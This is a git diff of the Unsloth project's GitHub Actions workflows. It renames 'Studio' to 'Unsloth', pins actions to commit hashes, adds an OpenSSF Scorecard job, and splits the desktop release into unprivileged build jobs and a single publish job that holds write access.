+        run: bash .github/scripts/agent-guides-install.sh "$AGENT"
+
+      - name: Resume experiment (launch path)
+        env:
+          AGENT: ${{ matrix.agent }}
+        run: bash .github/scripts/agent-guides-drive.sh resume "$AGENT"
+
+      - name: Collect server logs (debug)
+        if: always()
+        run: |
+          mkdir -p logs/studio-logs
+          cp -r "$HOME/.unsloth/studio/logs/." logs/studio-logs/ 2>/dev/null || true
+          if [ -n "${UNSLOTH_API_KEY:-}" ]; then
+            grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
+              sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
+            done
+          fi
+
+      - name: Stop Unsloth
+        if: always()
+        run: |
+          if [ -n "${UNSLOTH_SERVER_PID:-}" ] && [ "${UNSLOTH_SERVER_PID}" != "0" ]; then
+            kill "${UNSLOTH_SERVER_PID}" 2>/dev/null || true
+          fi
+          sleep 2
+          ss -tln 2>/dev/null | grep ":${STUDIO_PORT}" || true
+
+      - name: Upload logs
+        if: always()
+        continue-on-error: true
+        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a  # v7.0.1
+        with:
+          name: resume-${{ matrix.agent }}-log
+          path: |
+            logs/
+            agent-workdir/
+            redacted-configs/
+          retention-days: 7
+
   # ═════════════════════════════════════════════════════════════════════
   # Job 3: prompt-cache
   #   (a) curl 2-turn /v1/chat/completions: assert turn-2 cached_tokens > 0
@@ -536,7 +706,7 @@ jobs:
           path: hf-cache
           key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2
 
-      - name: Install Studio (--local, --no-torch)
+      - name: Install Unsloth (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           # Gated off PR (see note above); public GGUF still downloads.
@@ -594,7 +764,7 @@ jobs:
             done
           fi
 
-      - name: Stop Studio
+      - name: Stop Unsloth
         if: always()
         run: |
           # Guard the PID: an unset/zero UNSLOTH_SERVER_PID would make
diff --git a/.github/workflows/lockfile-audit.yml b/.github/workflows/lockfile-audit.yml
index 9c28e21672..aaf258d615 100644
--- a/.github/workflows/lockfile-audit.yml
+++ b/.github/workflows/lockfile-audit.yml
@@ -60,11 +60,11 @@ jobs:
     runs-on: ubuntu-latest
     timeout-minutes: 5
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0  # v7.0.0
         with:
           persist-credentials: false
 
-      - uses: actions/setup-python@v5
+      - uses: actions/setup-python@ece7cb06caefa5fff74198d8649806c4678c61a1  # v6.3.0
         with:
           python-version: '3.12'
 
diff --git a/.github/workflows/mlx-ci.yml b/.github/workflows/mlx-ci.yml
index a2f716a93c..aadf0b54e6 100644
--- a/.github/workflows/mlx-ci.yml
+++ b/.github/workflows/mlx-ci.yml
@@ -130,7 +130,7 @@ jobs:
       #    MLX support landed after the most recent unsloth-zoo PyPI
       #    release; the wheel still raises NotImplementedError on
       #    Apple Silicon when device_type.get_device_type() runs
-      #    unguarded. Studio's own install.sh overlays unsloth-zoo
+      #    unguarded. Unsloth's own install.sh overlays unsloth-zoo
       #    from git main for the same reason. Pulling deps lets pip
       #    resolve the platform-conditional MLX-only wheels (mlx,
       #    mlx-lm, mlx-vlm gated on darwin+arm64 in unsloth-zoo's
@@ -317,13 +317,13 @@ jobs:
             echo
           done
 
-      # Validates the macOS prebuilt path Studio's setup.sh uses (#5963): install the
+      # Validates the macOS prebuilt path Unsloth's setup.sh uses (#5963): install the
       # unslothai/llama.cpp fork's latest release, download a small public GGUF, and
       # check llama-server /completion end to end. Split and placed last so the
       # untrusted binary runs only in the final smoke step, after every HF_TOKEN step,
       # leaving no token-bearing step or shared workspace for a tampered prebuilt to
       # corrupt. GH_TOKEN: releases API; HF_TOKEN (withheld on PR): probe + GGUF fetch.
-      - name: Studio prebuilt llama.cpp install + GGUF download (Mac M1)
+      - name: Unsloth prebuilt llama.cpp install + GGUF download (Mac M1)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
@@ -344,12 +344,12 @@ jobs:
 
       # Final step: runs the downloaded binaries with no secrets present, and clears
       # the GitHub Actions command files so a tampered prebuilt cannot influence the job.
-      - name: Studio prebuilt llama.cpp GGUF inference smoke (Mac M1)
+      - name: Unsloth prebuilt llama.cpp GGUF inference smoke (Mac M1)
         run: |
           set -euo pipefail
           unset GITHUB_ENV GITHUB_PATH GITHUB_OUTPUT GITHUB_STEP_SUMMARY
           INSTALL_DIR="$HOME/.unsloth-studio-prebuilt-test/llama.cpp"
-          # Studio bundles only llama-server + llama-quantize (not llama-cli);
+          # Unsloth bundles only llama-server + llama-quantize (not llama-cli);
           # inference goes through llama-server's HTTP /completion endpoint.
           LLAMA_SERVER="$INSTALL_DIR/build/bin/llama-server"
           LLAMA_QUANT="$INSTALL_DIR/build/bin/llama-quantize"
@@ -400,4 +400,4 @@ jobs:
             tail -40 /tmp/llama-server.log
             exit 1
           fi
-          echo "OK: Studio prebuilt llama.cpp on Mac M1 + GGUF /completion works"
+          echo "OK: Unsloth prebuilt llama.cpp on Mac M1 + GGUF /completion works"
diff --git a/.github/workflows/ossf.yml b/.github/workflows/ossf.yml
new file mode 100644
index 0000000000..f9a270540f
--- /dev/null
+++ b/.github/workflows/ossf.yml
@@ -0,0 +1,78 @@
+# This workflow uses actions that are not certified by GitHub. They are provided
+# by a third-party and are governed by separate terms of service, privacy
+# policy, and support documentation.
+
+name: Scorecard supply-chain security
+on:
+  # For Branch-Protection check. Only the default branch is supported. See
+  # https://github.com/ossf/scorecard/blob/main/docs/checks.md#branch-protection
+  branch_protection_rule:
+  # To guarantee Maintained check is occasionally updated. See
+  # https://github.com/ossf/scorecard/blob/main/docs/checks.md#maintained
+  schedule:
+    - cron: '21 20 * * 0'
+  push:
+    branches: [ "main" ]
+
+# Declare default permissions as read only.
+permissions: read-all
+
+jobs:
+  analysis:
+    name: Scorecard analysis
+    runs-on: ubuntu-latest
+    # `publish_results: true` only works when run from the default branch. conditional can be removed if disabled.
+    if: github.event.repository.default_branch == github.ref_name || github.event_name == 'pull_request'
+    permissions:
+      # Needed to upload the results to code-scanning dashboard.
+      security-events: write
+      # Needed to publish results and get a badge (see publish_results below).
+      id-token: write
+      # Uncomment the permissions below if installing in a private repository.
+      # contents: read
+      # actions: read
+
+    steps:
+      - name: "Checkout code"
+        uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+        with:
+          persist-credentials: false
+
+      - name: "Run analysis"
+        uses: ossf/scorecard-action@f49aabe0b5af0936a0987cfb85d86b75731b0186 # v2.4.1
+        with:
+          results_file: results.sarif
+          results_format: sarif
+          # (Optional) "write" PAT token. Uncomment the `repo_token` line below if:
+          # - you want to enable the Branch-Protection check on a *public* repository, or
+          # - you are installing Scorecard on a *private* repository
+          # To create the PAT, follow the steps in https://github.com/ossf/scorecard-action?tab=readme-ov-file#authentication-with-fine-grained-pat-optional.
+          # repo_token: ${{ secrets.SCORECARD_TOKEN }}
+
+          # Public repositories:
+          #   - Publish results to OpenSSF REST API for easy access by consumers
+          #   - Allows the repository to include the Scorecard badge.
+          #   - See https://github.com/ossf/scorecard-action#publishing-results.
+          # For private repositories:
+          #   - `publish_results` will always be set to `false`, regardless
+          #     of the value entered here.
+          publish_results: true
+
+          # (Optional) Uncomment file_mode if you have a .gitattributes with files marked export-ignore
+          # file_mode: git
+
+      # Upload the results as artifacts (optional). Commenting out will disable uploads of run results in SARIF
+      # format to the repository Actions tab.
+      - name: "Upload artifact"
+        uses: actions/upload-artifact@4cec3d8aa04e39d1a68397de0c4cd6fb9dce8ec1 # v4.6.1
+        with:
+          name: SARIF file
+          path: results.sarif
+          retention-days: 5
+
+      # Upload the results to GitHub's code scanning dashboard (optional).
+      # Commenting out will disable upload of results to your repo's Code Scanning dashboard
+      - name: "Upload to code-scanning"
+        uses: github/codeql-action/upload-sarif@v3
+        with:
+          sarif_file: results.sarif
diff --git a/.github/workflows/release-desktop.yml b/.github/workflows/release-desktop.yml
index 188e078f90..081eda4e32 100644
--- a/.github/workflows/release-desktop.yml
+++ b/.github/workflows/release-desktop.yml
@@ -4,7 +4,7 @@ on:
   workflow_dispatch:
     inputs:
       studio_version:
-        description: 'Studio version tag to release (for example, v0.1.39-beta)'
+        description: 'Unsloth version tag to release (for example, v0.1.39-beta)'
         type: string
         required: true
       pypi_version:
@@ -19,6 +19,19 @@ on:
 permissions:
   contents: read
 
+env:
+  DESKTOP_RELEASE_NOTES: |
+    Desktop app for Unsloth Studio.
+
+    **macOS**: Download the Apple Silicon `.dmg`.
+    **Windows**: Download the `-setup.exe` installer.
+    **Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental.
+
+    > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package.
+    > Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available.
+    > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64`
+    > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually.
+
 concurrency:
   group: release-desktop-${{ github.repository }}
   cancel-in-progress: false
@@ -56,7 +69,7 @@ jobs:
           if not studio_version:
               sys.exit('studio_version is required, for example v0.1.39-beta')
           if re.fullmatch(r'v?20\d{2}\.\d+\.\d+(?:[-+][0-9A-Za-z.-]+)?', studio_version):
-              sys.exit(f'studio_version must be a Studio SemVer tag, not a date-style backend version: {studio_version}')
+              sys.exit(f'studio_version must be an Unsloth SemVer tag, not a date-style backend version: {studio_version}')
 
           semver_tag = re.compile(
               r'^v(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)'
@@ -133,7 +146,7 @@ jobs:
               print(f'pypi_version={pypi_version}', file=output)
           PY
 
-      - name: Verify PyPI package and Studio stamp
+      - name: Verify PyPI package and Unsloth stamp
         shell: bash
         env:
           STUDIO_VERSION: ${{ steps.prepare.outputs.studio_version }}
@@ -198,7 +211,7 @@ jobs:
             fi
             python3 scripts/stamp_studio_release.py --verify-dist "$RUNNER_TEMP/pypi-unsloth-dist" --expected "$STUDIO_VERSION"
           else
-            echo "scripts/stamp_studio_release.py not found; release-desktop requires #5308 to verify the PyPI Studio stamp." >&2
+            echo "scripts/stamp_studio_release.py not found; release-desktop requires #5308 to verify the PyPI Unsloth stamp." >&2
             exit 1
           fi
 
@@ -295,14 +308,6 @@ jobs:
           PY
 
   build:
-    # TODO: split into a "build (no secrets)" + "publish (secrets)" job pair
-    # with actions/upload-artifact handoff so the matrix build cannot
-    # publish a Release on its own. The current matrix runs across
-    # Linux/macOS/Windows in a single job, so the split needs artefact
-    # collection across the OS matrix and is out of scope for this
-    # hardening pass.
-    permissions:
-      contents: write  # tauri-apps/tauri-action creates / uploads a GitHub Release
     strategy:
       fail-fast: false
       max-parallel: 1
@@ -311,15 +316,21 @@ jobs:
           - platform: macos-latest
             args: '--target aarch64-apple-darwin'
             label: macOS (Apple Silicon)
+            artifact: macos-aarch64
+            release_arch: aarch64
           # - platform: macos-latest
           #   args: '--target x86_64-apple-darwin'
           #   label: macOS (Intel)
           - platform: ubuntu-22.04
             args: ''
             label: Linux (x64)
+            artifact: linux-x64
+            release_arch: x64
           - platform: windows-latest
             args: ''
             label: Windows (x64)
+            artifact: windows-x64
+            release_arch: x64
 
     name: Build ${{ matrix.label }}
     needs: prepare-version
@@ -465,41 +476,18 @@ jobs:
           if (chmodIdx !== -1 && sha256Idx > chmodIdx) {
             throw new Error('Desktop Linux release must verify the linuxdeploy digest before chmod +x');
           }
-          const releaseBodies = [];
-          for (let i = 0; i < lines.length; i += 1) {
-            const match = lines[i].match(/^(\s*)releaseBody:\s*\|\s*$/);
-            if (!match) continue;
-            const baseIndent = match[1].length;
-            const bodyLines = [];
-            i += 1;
-            for (; i < lines.length; i += 1) {
-              const line = lines[i];
-              if (line.trim() === '') {
-                bodyLines.push('');
-                continue;
-              }
-              const indent = line.match(/^\s*/)[0].length;
-              if (indent <= baseIndent) {
-                i -= 1;
-                break;
-              }
-              bodyLines.push(line.slice(baseIndent + 2));
-            }
-            releaseBodies.push(bodyLines.join('\n'));
+          const releaseBody = process.env.DESKTOP_RELEASE_NOTES;
+          if (!releaseBody) {
+            throw new Error('DESKTOP_RELEASE_NOTES must not be empty');
           }
-          if (releaseBodies.length === 0) {
-            throw new Error('Expected at least one desktop release body');
+          if (/\brpm\b|\.rpm/i.test(releaseBody)) {
+            throw new Error('Desktop release body must not advertise RPM packages');
           }
-          for (const body of releaseBodies) {
-            if (/\brpm\b|\.rpm/i.test(body)) {
-              throw new Error('Desktop release body must not advertise RPM packages');
-            }
-            if (/AppImage.*universal|universal.*AppImage/i.test(body)) {
-              throw new Error('Desktop release body must not advertise AppImage as universal');
-            }
-            if (!/AppImage.*experimental/i.test(body)) {
-              throw new Error('Desktop release body must mark AppImage as experimental');
-            }
+          if (/AppImage.*universal|universal.*AppImage/i.test(releaseBody)) {
+            throw new Error('Desktop release body must not advertise AppImage as universal');
+          }
+          if (!/AppImage.*experimental/i.test(releaseBody)) {
+            throw new Error('Desktop release body must mark AppImage as experimental');
           }
           JS
 
@@ -644,48 +632,33 @@ jobs:
           dest="$tools_dir/linuxdeploy-x86_64.AppImage"
           curl -fsSL "$LINUXDEPLOY_URL" -o "$dest"
           # Verify the digest BEFORE the binary is ever marked executable. The
-          # next step builds the AppImage with the Tauri signing key and a
-          # contents:write GITHUB_TOKEN in scope, so a substituted linuxdeploy
-          # that ran here could exfiltrate signing material or tamper with
-          # published release artifacts. Fail closed on any mismatch.
+          # next step builds the AppImage with the Tauri signing key, so a
+          # substituted linuxdeploy that ran here could exfiltrate signing
+          # material or tamper with release artifacts. Fail closed on any
+          # mismatch.
           echo "${LINUXDEPLOY_SHA256}  ${dest}" | sha256sum -c -
           chmod +x "$dest"
 
-      # ── Linux: build + sign + upload ──
+      # ── Linux: build + sign ──
       - name: Build Linux app
+        id: build_linux
         if: matrix.platform == 'ubuntu-22.04'
         uses: tauri-apps/tauri-action@84b9d35b5fc46c1e45415bdb6144030364f7ebc5
         env:
-          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           TAURI_SIGNING_PRIVATE_KEY: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY }}
           TAURI_SIGNING_PRIVATE_KEY_PASSWORD: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY_PASSWORD }}
           XDG_CACHE_HOME: ${{ runner.temp }}/tauri-tools-cache
         with:
           projectPath: studio
           tauriScript: npx --prefix . tauri
-          tagName: ${{ needs.prepare-version.outputs.desktop_release_tag }}
-          releaseName: 'Unsloth Studio (Desktop) ${{ needs.prepare-version.outputs.studio_version }}'
-          releaseBody: |
-            Desktop app for Unsloth Studio.
-
-            **macOS**: Download the Apple Silicon `.dmg`.
-            **Windows**: Download the `-setup.exe` installer.
-            **Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental.
-
-            > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package.
-            > Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available.
-            > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64`
-            > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually.
-          releaseDraft: ${{ inputs.draft }}
-          prerelease: ${{ needs.prepare-version.outputs.prerelease }}
           args: -v ${{ matrix.args }}
 
-      # ── macOS: build + sign + notarize + upload ──
+      # ── macOS: build + sign + notarize ──
       - name: Build macOS app
+        id: build_macos
         if: matrix.platform == 'macos-latest'
         uses: tauri-apps/tauri-action@84b9d35b5fc46c1e45415bdb6144030364f7ebc5
         env:
-          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           TAURI_SIGNING_PRIVATE_KEY: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY }}
           TAURI_SIGNING_PRIVATE_KEY_PASSWORD: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY_PASSWORD }}
           APPLE_SIGNING_IDENTITY: ${{ secrets.APPLE_SIGNING_IDENTITY }}
@@ -695,29 +668,14 @@ jobs:
         with:
           projectPath: studio
           tauriScript: npx --prefix . tauri
-          tagName: ${{ needs.prepare-version.outputs.desktop_release_tag }}
-          releaseName: 'Unsloth Studio (Desktop) ${{ needs.prepare-version.outputs.studio_version }}'
-          releaseBody: |
-            Desktop app for Unsloth Studio.
-
-            **macOS**: Download the Apple Silicon `.dmg`.
-            **Windows**: Download the `-setup.exe` installer.
-            **Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental.
-
-            > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package.
-            > Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available.
-            > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64`
-            > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually.
-          releaseDraft: ${{ inputs.draft }}
-          prerelease: ${{ needs.prepare-version.outputs.prerelease }}
           args: -v ${{ matrix.args }}
 
-      # ── Windows: build + sign + upload ──
+      # ── Windows: build + sign ──
       - name: Build Windows app
+        id: build_windows
         if: matrix.platform == 'windows-latest'
         uses: tauri-apps/tauri-action@84b9d35b5fc46c1e45415bdb6144030364f7ebc5
         env:
-          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           TAURI_SIGNING_PRIVATE_KEY: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY }}
           TAURI_SIGNING_PRIVATE_KEY_PASSWORD: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY_PASSWORD }}
           AZURE_CLIENT_ID: ${{ secrets.AZURE_CLIENT_ID }}
@@ -728,35 +686,83 @@ jobs:
         with:
           projectPath: studio
           tauriScript: npx --prefix . tauri
-          tagName: ${{ needs.prepare-version.outputs.desktop_release_tag }}
-          releaseName: 'Unsloth Studio (Desktop) ${{ needs.prepare-version.outputs.studio_version }}'
-          releaseBody: |
-            Desktop app for Unsloth Studio.
-
-            **macOS**: Download the Apple Silicon `.dmg`.
-            **Windows**: Download the `-setup.exe` installer.
-            **Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental.
-
-            > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package.
-            > Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available.
-            > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64`
-            > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually.
-          releaseDraft: ${{ inputs.draft }}
-          prerelease: ${{ needs.prepare-version.outputs.prerelease }}
           args: -v ${{ matrix.args }}
 
-  # Release process note: only non-draft workflow runs advance the public
-  # desktop-latest updater channel. Draft builds are for private review; if a
-  # draft is manually published later, this channel intentionally remains
-  # unchanged until a narrow manual channel-publish flow is added or a public
-  # desktop release is created by running this workflow with draft=false.
-  publish-updater-channel:
-    name: Publish desktop updater channel
+      - name: Stage release assets
+        shell: bash
+        env:
+          ARTIFACT_PATHS: ${{ steps.build_linux.outputs.artifactPaths || steps.build_macos.outputs.artifactPaths || steps.build_windows.outputs.artifactPaths }}
+          RELEASE_ARCH: ${{ matrix.release_arch }}
+        run: |
+          set -euo pipefail
+          if command -v python3 >/dev/null 2>&1; then
+            PYTHON=python3
+          else
+            PYTHON=python
+          fi
+          "$PYTHON" <<'PY'
+          import json
+          import os
+          import pathlib
+          import re
+          import shutil
+          import sys
+          import unicodedata
+
+          raw_paths = os.environ.get('ARTIFACT_PATHS', '')
+          try:
+              artifact_paths = json.loads(raw_paths)
+          except json.JSONDecodeError as error:
+              sys.exit(f'Invalid tauri-action artifactPaths output: {error}')
+          if not isinstance(artifact_paths, list) or not artifact_paths:
+              sys.exit('tauri-action did not return any release artifacts')
+
+          destination = pathlib.Path(os.environ['RUNNER_TEMP'], 'desktop-release-assets')
+          destination.mkdir(parents=True, exist_ok=True)
+          staged = []
+          for raw_path in artifact_paths:
+              source = pathlib.Path(raw_path)
+              if not source.is_file():
+                  continue
+              name = source.name
+              for extension in ('.app.tar.gz.sig', '.app.tar.gz'):
+                  if name.endswith(extension):
+                      name = f'{name[:-len(extension)]}_{os.environ["RELEASE_ARCH"]}{extension}'
+                      break
+              name = unicodedata.normalize('NFD', name)
+              name = ''.join(character for character in name if not unicodedata.combining(character))
+              name = re.sub(r'[ ()\[\]{}]', '.', name)
+              while '..' in name:
+                  name = name.replace('..', '.')
+              target = destination / name
+              if target.exists():
+                  sys.exit(f'Duplicate staged release asset name: {name}')
+              shutil.copy2(source, target)
+              staged.append(name)
+
+          if not staged:
+              sys.exit('No release files were staged')
+          print('Staged release assets:')
+          print('\n'.join(sorted(staged)))
+          PY
+
+      - name: Upload signed release assets
+        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a  # v7.0.1
+        with:
+          name: desktop-release-${{ matrix.artifact }}
+          path: ${{ runner.temp }}/desktop-release-assets/*
+          if-no-files-found: error
+          compression-level: 0
+          retention-days: 1
+
+  # Only this job gets write access; builds hand off signed files via artifacts.
+  # Draft runs do not advance the public desktop-latest channel.
+  publish-release:
+    name: Publish desktop release
     needs: [prepare-version, build]
-    if: ${{ !inputs.draft }}
     runs-on: ubuntu-latest
     permissions:
-      contents: write
+      contents: write  # create the versioned Release and replace updater-channel metadata
     env:
       GH_REPO: ${{ github.repository }}
       APP_VERSION: ${{ needs.prepare-version.outputs.app_version }}
@@ -765,7 +771,164 @@ jobs:
       DESKTOP_PRERELEASE: ${{ needs.prepare-version.outputs.prerelease }}
 
     steps:
+      - name: Harden runner (audit)
+        uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450  # v2.19.1
+        with:
+          egress-policy: audit
+
+      - name: Download signed release assets
+        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c  # v8.0.1
+        with:
+          pattern: desktop-release-*
+          path: ${{ runner.temp }}/desktop-release-assets
+          merge-multiple: true
+
+      - name: Validate release asset set
+        shell: bash
+        run: |
+          set -euo pipefail
+          python3 <<'PY'
+          import pathlib
+          import os
+          import sys
+
+          asset_dir = pathlib.Path(os.environ['RUNNER_TEMP'], 'desktop-release-assets')
+          files = [path for path in asset_dir.iterdir() if path.is_file()]
+          required_suffixes = (
+              '.dmg',
+              '.app.tar.gz',
+              '.app.tar.gz.sig',
+              '.deb',
+              '.AppImage',
+              '.AppImage.sig',
+              '-setup.exe',
+              '-setup.exe.sig',
+          )
+          for suffix in required_suffixes:
+              matches = [path for path in files if path.name.endswith(suffix)]
+              if len(matches) != 1:
+                  sys.exit(f'Expected exactly one {suffix} release asset, found {len(matches)}')
+          if any(path.name == 'latest.json' for path in files):
+              sys.exit('Build artifacts must not supply latest.json')
+          print('\n'.join(sorted(path.name for path in files)))
+          PY
+
+      - name: Create or validate versioned release
+        shell: bash
+        env:
+          GH_TOKEN: ${{ github.token }}
+          RELEASE_DRAFT: ${{ inputs.draft }}
+        run: |
+          set -euo pipefail
+          notes_file="$RUNNER_TEMP/desktop-release-notes.md"
+          printf '%s\n' "$DESKTOP_RELEASE_NOTES" > "$notes_file"
+
+          release_json="$RUNNER_TEMP/versioned-release.json"
+          # REST tag lookup omits drafts; `gh release view` also checks pending tags.
+          if gh release view "$DESKTOP_RELEASE_TAG" \
+            --json tagName,isDraft,isPrerelease > "$release_json" 2>/dev/null; then
+            python3 <<'PY'
+          import json
+          import os
+          import pathlib
+          import sys
+
+          release = json.loads(pathlib.Path(os.environ['RUNNER_TEMP'], 'versioned-release.json').read_text())
+          expected_draft = os.environ['RELEASE_DRAFT'].lower() == 'true'
+          expected_prerelease = os.environ['DESKTOP_PRERELEASE'].lower() == 'true'
+          if release.get('tagName') != os.environ['DESKTOP_RELEASE_TAG']:
+              sys.exit('Existing desktop release tag does not match the requested tag')
+          if bool(release.get('isDraft')) != expected_draft:
+              sys.exit('Existing desktop release draft state does not match the workflow input')
+          if bool(release.get('isPrerelease')) != expected_prerelease:
+              sys.exit('Existing desktop release prerelease state does not match the requested version')
+          PY
+          else
+            release_flags=(
+              --title "Unsloth Studio (Desktop) ${STUDIO_VERSION}"
+              --notes-file "$notes_file"
+              --target "$GITHUB_SHA"
+            )
+            if [ "$RELEASE_DRAFT" = "true" ]; then
+              release_flags+=(--draft)
+            fi
+            if [ "$DESKTOP_PRERELEASE" = "true" ]; then
+              release_flags+=(--prerelease)
+            fi
+            gh release create "$DESKTOP_RELEASE_TAG" "${release_flags[@]}"
+          fi
+
+      - name: Publish versioned release assets
+        shell: bash
+        env:
+          GH_TOKEN: ${{ github.token }}
+        run: |
+          set -euo pipefail
+          gh release upload "$DESKTOP_RELEASE_TAG" "$RUNNER_TEMP/desktop-release-assets"/* --clobber
+
+      - name: Generate and publish versioned updater metadata
+        shell: bash
+        env:
+          GH_TOKEN: ${{ github.token }}
+        run: |
+          set -euo pipefail
+          python3 <<'PY'
+          import datetime
+          import json
+          import os
+          import pathlib
+          import sys
+          import urllib.parse
+
+          asset_dir = pathlib.Path(os.environ['RUNNER_TEMP'], 'desktop-release-assets')
+          files = [path for path in asset_dir.iterdir() if path.is_file()]
+
+          def exactly_one(suffix: str) -> pathlib.Path:
+              matches = [path for path in files if path.name.endswith(suffix)]
+              if len(matches) != 1:
+                  sys.exit(f'Expected exactly one {suffix} updater asset, found {len(matches)}')
+              return matches[0]
+
+          def entry(signature_suffix: str) -> dict[str, str]:
+              signature_path = exactly_one(signature_suffix)
+              bundle_name = signature_path.name.removesuffix('.sig')
+              bundle_path = asset_dir / bundle_name
+              if not bundle_path.is_file():
+                  sys.exit(f'Missing updater bundle for {signature_path.name}: {bundle_name}')
+              encoded_tag = urllib.parse.quote(os.environ['DESKTOP_RELEASE_TAG'], safe='')
+              encoded_name = urllib.parse.quote(bundle_name, safe='')
+              return {
+                  'signature': signature_path.read_text(),
+                  'url': (
+                      f'https://github.com/{os.environ["GITHUB_REPOSITORY"]}/releases/download/'
+                      f'{encoded_tag}/{encoded_name}'
+                  ),
+              }
+
+          darwin = entry('.app.tar.gz.sig')
+          linux = entry('.AppImage.sig')
+          windows = entry('.exe.sig')
+          notes = pathlib.Path(os.environ['RUNNER_TEMP'], 'desktop-release-notes.md').read_text()
+          metadata = {
+              'version': os.environ['APP_VERSION'],
+              'notes': notes,
+              'pub_date': datetime.datetime.now(datetime.timezone.utc).isoformat(timespec='milliseconds').replace('+00:00', 'Z'),
+              'platforms': {
+                  'darwin-aarch64': darwin,
+                  'darwin-aarch64-app': darwin,
+                  'linux-x86_64': linux,
+                  'linux-x86_64-appimage': linux,
+                  'windows-x86_64': windows,
+                  'windows-x86_64-nsis': windows,
+              },
+          }
+          output = pathlib.Path(os.environ['RUNNER_TEMP'], 'latest.json')
+          output.write_text(json.dumps(metadata, indent=2) + '\n')
+          PY
+          gh release upload "$DESKTOP_RELEASE_TAG" "$RUNNER_TEMP/latest.json" --clobber
+
       - name: Download versioned updater metadata
+        if: ${{ !inputs.draft }}
         shell: bash
         env:
           GH_TOKEN: ${{ github.token }}
@@ -790,6 +953,7 @@ jobs:
           test -s "$RUNNER_TEMP/desktop-updater/latest.json"
 
       - name: Validate versioned updater metadata
+        if: ${{ !inputs.draft }}
         shell: bash
         run: |
           python3 <<'PY'
@@ -849,6 +1013,7 @@ jobs:
           PY
 
       - name: Ensure desktop updater channel release
+        if: ${{ !inputs.draft }}
         shell: bash
         env:
           GH_TOKEN: ${{ github.token }}
@@ -881,6 +1046,7 @@ jobs:
           PY
 
       - name: Prevent updater channel downgrade
+        if: ${{ !inputs.draft }}
         shell: bash
         env:
           GH_TOKEN: ${{ github.token }}
@@ -971,6 +1137,7 @@ jobs:
           PY
 
       - name: Publish desktop updater channel metadata
+        if: ${{ !inputs.draft }}
         shell: bash
         env:
           GH_TOKEN: ${{ github.token }}
diff --git a/.github/workflows/security-audit.yml b/.github/workflows/security-audit.yml
index 0ef2ad1e9d..27eafbedea 100644
--- a/.github/workflows/security-audit.yml
+++ b/.github/workflows/security-audit.yml
@@ -2,8 +2,8 @@
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 
 # Multi-language supply-chain audit. Triggers:
-#   - PRs touching any dependency manifest (Python / npm / Cargo) or
-#     this workflow file,
+#   - PRs touching any dependency manifest (Python / npm / Cargo), a
+#     scanner or its allowlist baseline, or this workflow file,
 #   - push to main / pip,
 #   - nightly @ 04:13 UTC so newly-published advisories surface even
 #     when no PR opens,
@@ -36,8 +36,8 @@
 #   - unsloth `huggingfacenotorch` extras (the canonical install path
 #     for fine-tuning users; pulls transformers / peft / accelerate /
 #     trl / datasets / diffusers / sentence-transformers / etc.)
-#   - all six Studio backend requirements files
-#   - Studio frontend (npm) and Tauri shell (cargo)
+#   - all six Unsloth backend requirements files
+#   - Unsloth frontend (npm) and Tauri shell (cargo)
 # Each Python step builds a filtered dep list from pyproject.toml +
 # requirements/*.txt before auditing. We do NOT install any of these
 # -- pip-audit resolves through PyPI metadata, scan_packages.py
@@ -57,7 +57,9 @@ on:
       - 'studio/src-tauri/Cargo.lock'
       - 'pyproject.toml'
       - 'scripts/scan_packages.py'
+      - 'scripts/scan_packages_baseline.json'
       - 'scripts/scan_npm_packages.py'
+      - 'scripts/scan_npm_packages_baseline.json'
       - '.github/workflows/security-audit.yml'
   push:
     branches: [main, pip]
@@ -216,7 +218,7 @@ jobs:
         #       on the runner). A comment line is left in place so the
